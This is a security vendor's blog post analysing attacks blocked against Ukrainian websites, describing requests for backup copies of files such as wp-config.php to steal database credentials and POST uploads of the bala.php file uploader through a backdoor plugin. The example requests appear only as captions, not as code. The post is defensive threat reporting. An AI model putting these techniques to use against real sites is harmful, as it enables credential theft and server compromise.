Information disclosure attacks are the fourth-largest attack type we blocked against .ua domains. The primary way we have observed threat actors attempting to exploit this type of vulnerability is through GET requests to a website, using common backup filenames, as seen in the example below. Unfortunately, due to the insecure practice of system administrators appending filenames with .bak as a method of making a backup of a file prior to modifying the contents, threat actors are likely to successfully access sensitive files by simply attempting to request critical files in known locations, with the .bak extension added. When successful, the contents of the file will be returned to the threat actor.

This is a fairly straightforward attack type, where the request simply returns the contents of the requested file. If a malicious actor can obtain the contents of a site’s wp-config.php file, even an outdated version of the file, they may be able to obtain the site’s database credentials. With access to a site’s database credentials, an attacker could gain full database access granted they have access to the database to log in with the stolen credentials. This would then give the attacker the ability to add malicious users, change a site’s content, and even collect useful information to be used in future attacks against the site or its users.

Information disclosure request example

File Upload

File upload rounds out the top five categories of attack attempts we have been blocking targeting .ua domains. In these attempts, malicious actors try to get their own files uploaded to the server the website is hosted on. This serves a number of purposes, from defacing a website, to creating backdoors, and even distributing malware.

The example here is only one of the many types of upload attacks we have blocked. A malicious actor can use this POST request to upload a file to a vulnerable website that allows them to upload any file of their choosing. This can ultimately lead to remote code execution and full server compromise.

File upload request example with payload

The POST request in this case includes the contents of a common PHP file uploader named bala.php. This code provides a simple script to select and upload any file the malicious actor chooses. If the upload is successful they will see a message stating eXploiting Done but if it fails they message will read Failed to Upload. The script also returns some general information about the system that is being accessed, including the name of the system and the operating system being used.

Another important thing to note about this request is that it attempts to utilize the Ioptimization plugin as an entry point. Ioptimization is a known malicious plugin that offers backdoor functionality, but was not actually installed in the site in question. This indicates that the threat actor was trying to find and take over sites that had been previously compromised by a different attacker.

BalaSniper upload example

The fact that file uploads are the most common blocked attack type is not at all surprising. File uploads can be used to distribute malware payloads, store spam content to be displayed in other locations, and install shells on the infected system, among a number of other malicious activities. If a malicious actor can upload an executable file to a site, it generally gives them full control of the infected site and a foothold to taking over the server hosting that site. It can also help them remain anonymous by allowing them to send out further attacks from the newly infected site.


In this post, we continued our analysis of the cyber attacks targeting Ukrainian websites. While there has been an increase in the number of attacks being blocked since the start of Russia’s invasion of Ukraine, the attacks do not appear to be focused. Known malicious IP addresses were the most common reason we blocked attacks in the last 30 days, however, information stealing and spam were the most common end goals for the observed attack attempts.

If you believe your site has been compromised as a result of a vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both of these products include hands-on support in case you need further assistance.

The post Analyzing Attack Data and Trends Targeting Ukrainian Domains appeared first on Wordfence.

Pin It on Pinterest